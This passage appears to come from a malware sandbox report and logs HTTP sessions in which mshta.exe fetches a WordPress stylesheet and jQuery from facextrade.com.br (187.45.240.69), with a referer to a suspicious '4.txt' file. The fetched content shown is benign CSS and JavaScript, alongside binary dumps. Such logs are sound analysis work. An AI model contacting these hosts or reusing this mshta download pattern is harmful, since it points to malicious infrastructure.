                                                                                      Data Ascii: 1747]6)G^ssvGEB31_Rr!@zm7u1|v:fm,)Y,"5u?UEM4C.?ceAfePfIS0c<27WMH6q Eqyb1h)4iLVeb#z%{%f[QPNV.bduS>>fQP'UV6YQ^\t7Oeaqe~%$RUbhMux+z07o=91 pgHDx|&^7M-Zq[y]A~*=*-M,+dLzcBpO{
                                                                                      Aug 16, 2022 11:39:30.154056072 CEST1187INData Raw: bc 6e 9b 35 b4 2b 64 6d 1c a3 7f 28 96 6c 97 6f 37 71 96 df 00 ee 77 e6 3b a9 0f f6 75 07 ff 9b 31 e0 2f 1e eb 04 5a 59 5b c2 bf 15 d5 ed 4d f0 de c4 69 f0 b1 2a d2 36 69 82 1f 9c a5 a8 82 ef 82 7f 7b ac da b6 de cf fb d6 fe 4c ea 83 c6 af 9e bc
                                                                                      Data Ascii: n5+dm(lo7qw;u1/ZY[Mi*6i{Lz?_WM&Q[>eV6Yx<#wFf3\_{g3S4r5z}2{]kyl&MM<4'rge=>}5oB}A26@edus
                                                                                      Aug 16, 2022 11:39:30.154079914 CEST1188INData Raw: d9 8f c1 56 b8 eb 77 74 cc 81 dc 45 27 fb 6d e9 90 6e 9c 93 21 9d 33 6a 03 a6 18 e1 ef 5d cd 9d 9b 74 7d 9c 3e 60 82 e3 8b e6 a7 64 b3 db 3b f9 e3 fa b4 1e b5 27 e5 9e d5 1a ff 59 74 75 14 1a a5 b0 c6 a7 60 77 d9 84 2a bf c0 d8 80 24 8b b0 46 d6
                                                                                      Data Ascii: VwtE'mn!3j]t}>`d;'Ytu`w*$F% 4M8!!A80G(8n|{,w'?fcAlK[c@vP(KECVZvB#:xw,;j@%OFB}
                                                                                      Aug 16, 2022 11:39:30.154108047 CEST1190INData Raw: ac 42 15 ab b4 73 6e 78 29 7b a4 53 72 18 2f 8a 5c 57 e0 39 87 70 86 f0 da 13 61 cc 85 3d a5 ca a5 2e 65 a6 4d 6e ce b1 6c b3 2a 2e e5 a6 d2 73 2c db dc aa 2d 76 d0 a7 c9 b1 ec e8 5d 11 95 de 82 83 d9 b5 e0 26 65 68 84 e6 1c ce ae c1 2f 6d dd 64
                                                                                      Data Ascii: Bsnx){Sr/\W9pa=.eMnl*.s,-v]&eh/mdK=JsTPdW&:grB2e;^@'X7%h6.C"Owa$xodH=&<"EDC7Y/8qgucJ$uM7VxjY[)6k#^I9Jk:U;D
                                                                                      Aug 16, 2022 11:39:30.154131889 CEST1191INData Raw: 4e cd 21 dc 1d c3 33 81 f7 06 0d ca a8 6f 26 0d c7 75 6e 56 9e 82 0f c3 e1 9c a2 66 63 51 f8 22 3d 33 92 56 f1 ee 00 cc d8 86 d3 df 42 06 e5 9e 22 29 23 ed 70 63 36 b1 ee fa 0c c7 31 76 b2 f8 fe 44 ae 9f fd 1a 8e e2 12 47 19 ba d1 33 d2 06 e3 aa
                                                                                      Data Ascii: N!3o&unVfcQ"=3VB")#pc61vDG3U=7H0"d#Bqr"l]7oL^FwKgO Kh7Yh}'Pe<|p.3EZ[tsJK6S/H8r!Jtj^6cwcR|HZ$Oq0@f;
                                                                                      Aug 16, 2022 11:39:30.154150009 CEST1191INData Raw: ea 6b 53 fc fe 93 85 e7 ac 3d 12 85 b5 f5 2d 7d a3 5d e5 81 83 18 bf 74 a7 aa 7f 6d 3d f7 b0 f0 15 16 16 41 37 74 a6 a6 ef ec 65 1d 2d 0e eb 3c 52 be e2 d1 8c 9f 52 c4 2e f8 8d 3f 7a 89 47 24 6a 67 eb 56 df 42 8a 32 59 fc 92 08 0f a5 48 8e e3 23
                                                                                      Data Ascii: kS=-}]tm=A7te-<RR.?zG$jgVB2YH#tEqU"Q{'lD%,~=#}J t>>_j
                                                                                      Aug 16, 2022 11:39:30.154165983 CEST1191INData Raw: 30 0d 0a 0d 0a
                                                                                      Data Ascii: 0


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      20192.168.2.349765187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:36.522665024 CEST1869OUTGET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:36.758023024 CEST1887INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:39:36 GMT
                                                                                      Server: Apache
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:37:34 GMT
                                                                                      ETag: "a5169a-156c1-58592f1eb4380"
                                                                                      Accept-Ranges: bytes
                                                                                      Content-Length: 87745
                                                                                      Connection: close
                                                                                      Content-Type: text/css
                                                                                      Data Raw: 2e 6d 6f 74 6f 70 72 65 73 73 2d 74 65 78 74 2d 6f 62 6a 20 73 70 61 6e 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 65 6d 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 6f 62 6a 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 6f 62 6a 2d 62 61 73 69 63 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2a 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 20 6f 75 74 73 69 64 65 20 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 7b 6d 61 72 67 69 6e 3a 30 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 3a 62 65 66 6f 72 65 2c 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 3a 61 66 74 65 72 7b 63 6f 6e 74 65 6e 74 3a 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 73 6c 69 64 65 73 20 6c 69 20 69 6d 67 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 62 6f 72 64 65 72 3a 30 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 20 6f 75 74 73 69 64 65 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6d 61 72 67 69 6e 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 72 69 67 68 74 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 74 74 6f 6d 3a 2d 34 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7a 2d 69 6e 64 65 78 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 20 6c 69 7b 6d 61 72 67 69 6e 3a 30 20 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 70 61 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74
                                                                                      Data Ascii: .motopress-text-obj span{line-height:1em}.motopress-image-obj .motopress-image-obj-basic{max-width:100% !important;margin:0 !important;padding:0 !important;border:0}.motopress-image-slider-obj{line-height:normal;min-height:0}.motopress-image-slider-obj *{line-height:normal}.motopress-image-slider-obj .slides{list-style:none outside none;margin:0 !important;padding:0;line-height:normal}.motopress-image-slider-obj .slides li{margin:0;margin-left:0 !important;padding:0}.motopress-image-slider-obj .slides li:before,.motopress-image-slider-obj .slides li:after{content:none !important}.motopress-image-slider-obj .slides li img{margin:0;padding:0;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;border:0}.motopress-image-slider-obj .flex-control-nav{position:absolute !important;list-style:none outside none !important;margin:0 !important;padding:0 !important;line-height:normal;right:auto !important;bottom:-40px !important;text-align:center !important;z-index:auto !important}.motopress-image-slider-obj .flex-control-nav li{margin:0 6px !important;padding:0;width:auto !important
                                                                                      Aug 16, 2022 11:39:36.758059025 CEST1888INData Raw: 3b 68 65 69 67 68 74 3a 61 75 74 6f 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f 62 6a 20 2e 66 6c 65 78 2d 63 6f 6e 74 72 6f 6c 2d 6e 61 76 20 6c 69 3a 62 65 66 6f 72 65 2c 2e 6d
                                                                                      Data Ascii: ;height:auto !important}.motopress-image-slider-obj .flex-control-nav li:before,.motopress-image-slider-obj .flex-control-nav li:after{content:none !important}.motopress-image-slider-obj .flex-control-nav li a{position:static;z-index:auto;widt
                                                                                      Aug 16, 2022 11:39:36.758091927 CEST1890INData Raw: 6f 62 6a 20 2e 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 2d 6e 61 76 3a 68 6f 76 65 72 20 2e 66 6c 65 78 2d 6e 65 78 74 3a 68 6f 76 65 72 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 6d 6f 74 6f 70 72 65 73 73 2d 69 6d 61 67 65 2d 73 6c 69 64 65 72 2d 6f
                                                                                      Data Ascii: obj .flex-direction-nav:hover .flex-next:hover{opacity:1}.motopress-image-slider-obj>p{display:none !important}.motopress-row .motopress-clmn.motopress-space{min-height:10px}.motopress-row .motopress-clmn.motopress-space .motopress-space-obj{h
                                                                                      Aug 16, 2022 11:39:36.758109093 CEST1891INData Raw: 70 72 65 73 73 2d 72 6f 77 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 63 6c 6d 6e 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 2d 6f 62 6a 2e 6d 6f 74 6f 70 72 65 73 73 2d 73 70 61 63 65 2d 68 65 61
                                                                                      Data Ascii: press-row .motopress-clmn.motopress-space .motopress-space-obj.motopress-space-heavy>div{border-top:6px inset #cdcdcd;margin-top:-3px}.motopress-video-obj{position:relative;padding-bottom:56.25%;padding-top:30px;height:0;overflow:hidden}.motop
                                                                                      Aug 16, 2022 11:39:36.758125067 CEST1892INData Raw: 23 66 65 66 65 66 65 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 74 6f 70 2c 23 65 36 65 36 65 36 2c 23 66 65 66 65 66 65 29 3b 66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58
                                                                                      Data Ascii: #fefefe);background-image:linear-gradient(to top,#e6e6e6,#fefefe);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe6e6e6',endColorstr='#fffefefe',GradientType=0)}.motopress-button-obj .motopress-btn-color-silver:hover{color
                                                                                      Aug 16, 2022 11:39:36.758141994 CEST1894INData Raw: 73 73 2d 62 75 74 74 6f 6e 2d 6f 62 6a 20 2e 6d 6f 74 6f 70 72 65 73 73 2d 62 74 6e 2d 63 6f 6c 6f 72 2d 72 65 64 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 65 61 36 38 35 37 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69
                                                                                      Data Ascii: ss-button-obj .motopress-btn-color-red:hover{background-color:#ea6857;background-image:-moz-linear-gradient(bottom,#e76452,#ef6f5f);background-image:-webkit-gradient(linear,0 100%,0 0,from(#e76452),to(#ef6f5f));background-image:-webkit-linear-
                                                                                      Aug 16, 2022 11:39:36.758162975 CEST1895INData Raw: 30 30 25 2c 30 20 30 2c 66 72 6f 6d 28 23 66 35 38 64 62 63 29 2c 74 6f 28 23 66 64 63 62 65 31 29 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d
                                                                                      Data Ascii: 00%,0 0,from(#f58dbc),to(#fdcbe1));background-image:-webkit-linear-gradient(bottom,#f58dbc,#fdcbe1);background-image:-o-linear-gradient(bottom,#f58dbc,#fdcbe1);background-image:linear-gradient(to top,#f58dbc,#fdcbe1);filter:progid:DXImageTrans
                                                                                      Aug 16, 2022 11:39:36.758187056 CEST1897INData Raw: 6e 74 28 74 6f 20 74 6f 70 2c 23 66 62 38 65 33 64 2c 23 66 66 62 66 35 39 29 3b 66 69 6c 74 65 72 3a 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 67 72 61 64 69 65 6e 74 28 73 74 61 72 74
                                                                                      Data Ascii: nt(to top,#fb8e3d,#ffbf59);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffb8e3d',endColorstr='#ffffbf59',GradientType=0)}.motopress-button-obj .motopress-btn-color-hot-summer{-webkit-box-shadow:inset 0 0 0 1px #f2bf0b;-mo
                                                                                      Aug 16, 2022 11:39:36.758208036 CEST1898INData Raw: 6e 2d 63 6f 6c 6f 72 2d 6f 6c 69 76 65 2d 67 61 72 64 65 6e 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 31 70 78 20 23 38 61 64 35 33 32 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e
                                                                                      Data Ascii: n-color-olive-garden{-webkit-box-shadow:inset 0 0 0 1px #8ad532;-moz-box-shadow:inset 0 0 0 1px #8ad532;box-shadow:inset 0 0 0 1px #8ad532;background-color:#92ca26;background-image:-moz-linear-gradient(bottom,#7fb615,#afe840);background-image:
                                                                                      Aug 16, 2022 11:39:36.758234024 CEST1899INData Raw: 69 6d 61 67 65 3a 2d 6d 6f 7a 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d 2c 23 33 32 39 63 30 64 2c 23 35 62 64 36 33 66 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 77 65 62 6b 69 74 2d 67 72 61 64 69 65
                                                                                      Data Ascii: image:-moz-linear-gradient(bottom,#329c0d,#5bd63f);background-image:-webkit-gradient(linear,0 100%,0 0,from(#329c0d),to(#5bd63f));background-image:-webkit-linear-gradient(bottom,#329c0d,#5bd63f);background-image:-o-linear-gradient(bottom,#329c
                                                                                      Aug 16, 2022 11:39:36.988961935 CEST1902INData Raw: 30 61 61 65 61 2c 23 32 35 65 33 65 66 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 2d 6f 2d 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 62 6f 74 74 6f 6d 2c 23 30 30 61 61 65 61 2c 23 32 35 65 33 65 66 29 3b 62 61 63 6b 67 72 6f
                                                                                      Data Ascii: 0aaea,#25e3ef);background-image:-o-linear-gradient(bottom,#00aaea,#25e3ef);background-image:linear-gradient(to top,#00aaea,#25e3ef);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff00aaea',endColorstr='#ff25e3ef',GradientTyp


                                                                                      Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                      21192.168.2.349766187.45.240.6980C:\Windows\SysWOW64\mshta.exe
                                                                                      TimestampkBytes transferredDirectionData
                                                                                      Aug 16, 2022 11:39:36.814889908 CEST1900OUTGET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1
                                                                                      Accept: */*
                                                                                      Referer: http://facextrade.com.br/wp-includes/certificates/4.txt
                                                                                      Accept-Language: en-US
                                                                                      Accept-Encoding: gzip, deflate
                                                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                      Host: facextrade.com.br
                                                                                      Connection: Keep-Alive
                                                                                      Aug 16, 2022 11:39:37.042509079 CEST1929INHTTP/1.1 200 OK
                                                                                      Date: Tue, 16 Aug 2022 09:37:14 GMT
                                                                                      Server: Apache
                                                                                      ETag: "a534c3-17278-58592d497f080"
                                                                                      Last-Modified: Tue, 02 Apr 2019 21:29:22 GMT
                                                                                      Content-Length: 94840
                                                                                      Content-Type: application/x-javascript
                                                                                      X-Pad: avoid browser bug
                                                                                      Cache-Control: No-Cache
                                                                                      Pragma: no-cache
                                                                                      X-Varnish: 21929779 18314941
                                                                                      Age: 142
                                                                                      Via: 1.1 varnish-v4
                                                                                      Accept-Ranges: bytes
                                                                                      Connection: keep-alive
                                                                                      Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 31 2e 37 2e 32 20 6a 71 75 65 72 79 2e 63 6f 6d 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 66 75 6e 63 74 69 6f 6e 20 63 79 28 61 29 7b 72 65 74 75 72 6e 20 66 2e 69 73 57 69 6e 64 6f 77 28 61 29 3f 61 3a 61 2e 6e 6f 64 65 54 79 70 65 3d 3d 3d 39 3f 61 2e 64 65 66 61 75 6c 74 56 69 65 77 7c 7c 61 2e 70 61 72 65 6e 74 57 69 6e 64 6f 77 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 63 75 28 61 29 7b 69 66 28 21 63 6a 5b 61 5d 29 7b 76 61 72 20 62 3d 63 2e 62 6f 64 79 2c 64 3d 66 28 22 3c 22 2b 61 2b 22 3e 22 29 2e 61 70 70 65 6e 64 54 6f 28 62 29 2c 65 3d 64 2e 63 73 73 28 22 64 69 73 70 6c 61 79 22 29 3b 64 2e 72 65 6d 6f 76 65 28 29 3b 69 66 28 65 3d 3d 3d 22 6e 6f 6e 65 22 7c 7c 65 3d 3d 3d 22 22 29 7b 63 6b 7c 7c 28 63 6b 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 66 72 61 6d 65 22 29 2c 63 6b 2e 66 72 61 6d 65 42 6f 72 64 65 72 3d 63 6b 2e 77 69 64 74 68 3d 63 6b 2e 68 65 69 67 68 74 3d 30 29 2c 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 6b 29 3b 69 66 28 21 63 6c 7c 7c 21 63 6b 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 29 63 6c 3d 28 63 6b 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 7c 7c 63 6b 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 29 2e 64 6f 63 75 6d 65 6e 74 2c 63 6c 2e 77 72 69 74 65 28 28 66 2e 73 75 70 70 6f 72 74 2e 62 6f 78 4d 6f 64 65 6c 3f 22 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 22 3a 22 22 29 2b 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 22 29 2c 63 6c 2e 63 6c 6f 73 65 28 29 3b 64 3d 63 6c 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 61 29 2c 63 6c 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 29 2c 65 3d 66 2e 63 73 73 28 64 2c 22 64 69 73 70 6c 61 79 22 29 2c 62 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 63 6b 29 7d 63 6a 5b 61 5d 3d 65 7d 72 65 74 75 72 6e 20 63 6a 5b 61 5d 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 3b 66 2e 65 61 63 68 28 63 70 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 63 70 2e 73 6c 69 63 65 28 30 2c 62 29 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 5b 74 68 69 73 5d 3d 61 7d 29 3b 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 63 73 28 29 7b 63 71 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 63 72 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 63 73 2c 30 29 3b 72 65 74 75 72 6e 20 63 71 3d 66 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 63 69 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50 22 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 68 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 62 28 61 2c 63 29 7b 61 2e 64 61 74
                                                                                      Data Ascii: /*! jQuery v1.7.2 jquery.com | jquery.org/license */(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,b){var c={};f.each(cp.concat.apply([],cp.slice(0,b)),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ch(){try{return new a.XMLHttpRequest}catch(b){}}function cb(a,c){a.dat
                                                                                      Aug 16, 2022 11:39:37.042551041 CEST1931INData Raw: 61 46 69 6c 74 65 72 26 26 28 63 3d 61 2e 64 61 74 61 46 69 6c 74 65 72 28 63 2c 61 2e 64 61 74 61 54 79 70 65 29 29 3b 76 61 72 20 64 3d 61 2e 64 61 74 61 54 79 70 65 73 2c 65 3d 7b 7d 2c 67 2c 68 2c 69 3d 64 2e 6c 65 6e 67 74 68 2c 6a 2c 6b 3d
                                                                                      Data Ascii: aFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(g===1)for(h in a.converters)typeof h=="string"&&(e[h.toLowerCase()]=a.converters[h]);l=k,k=d[g];if(k==="*")k=l;else if(l!=="*"
                                                                                      Aug 16, 2022 11:39:37.042591095 CEST1932INData Raw: 62 53 2c 6c 3b 66 6f 72 28 3b 69 3c 6a 26 26 28 6b 7c 7c 21 6c 29 3b 69 2b 2b 29 6c 3d 68 5b 69 5d 28 63 2c 64 2c 65 29 2c 74 79 70 65 6f 66 20 6c 3d 3d 22 73 74 72 69 6e 67 22 26 26 28 21 6b 7c 7c 67 5b 6c 5d 3f 6c 3d 62 3a 28 63 2e 64 61 74 61
                                                                                      Data Ascii: bS,l;for(;i<j&&(k||!l);i++)l=h[i](c,d,e),typeof l=="string"&&(!k||g[l]?l=b:(c.dataTypes.unshift(l),l=bZ(a,c,d,e,l,g)));(k||!l)&&!g["*"]&&(l=bZ(a,c,d,e,"*",g));return l}function bY(a){return function(b,c){typeof b!="string"&&(c=b,b="*");if(f.is
                                                                                      Aug 16, 2022 11:39:37.042634010 CEST1933INData Raw: 69 6f 6e 20 62 6c 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65
                                                                                      Data Ascii: ion bl(a){return typeof a.getElementsByTagName!="undefined"?a.getElementsByTagName("*"):typeof a.querySelectorAll!="undefined"?a.querySelectorAll("*"):[]}function bk(a,b){var c;b.nodeType===1&&(b.clearAttributes&&b.clearAttributes(),b.mergeAtt
                                                                                      Aug 16, 2022 11:39:37.042680025 CEST1935INData Raw: 6e 20 65 3d 3d 3d 63 7d 29 3b 69 66 28 62 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 20 66 2e 67 72 65 70 28 61 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 64 29 7b 72 65 74 75 72 6e 20 61 3d 3d 3d 62 3d 3d 3d 63 7d 29 3b 69 66 28 74 79 70 65 6f 66
                                                                                      Data Ascii: n e===c});if(b.nodeType)return f.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=f.grep(a,function(a){return a.nodeType===1});if(O.test(b))return f.filter(b,d,!c);b=f.filter(b,d)}return f.grep(a,function(a,d){return f.inAr
                                                                                      Aug 16, 2022 11:39:37.042717934 CEST1936INData Raw: 28 5b 5c 77 5c 2d 5d 2a 29 24 29 2f 2c 6a 3d 2f 5c 53 2f 2c 6b 3d 2f 5e 5c 73 2b 2f 2c 6c 3d 2f 5c 73 2b 24 2f 2c 6d 3d 2f 5e 3c 28 5c 77 2b 29 5c 73 2a 5c 2f 3f 3e 28 3f 3a 3c 5c 2f 5c 31 3e 29 3f 24 2f 2c 6e 3d 2f 5e 5b 5c 5d 2c 3a 7b 7d 5c 73
                                                                                      Data Ascii: ([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]
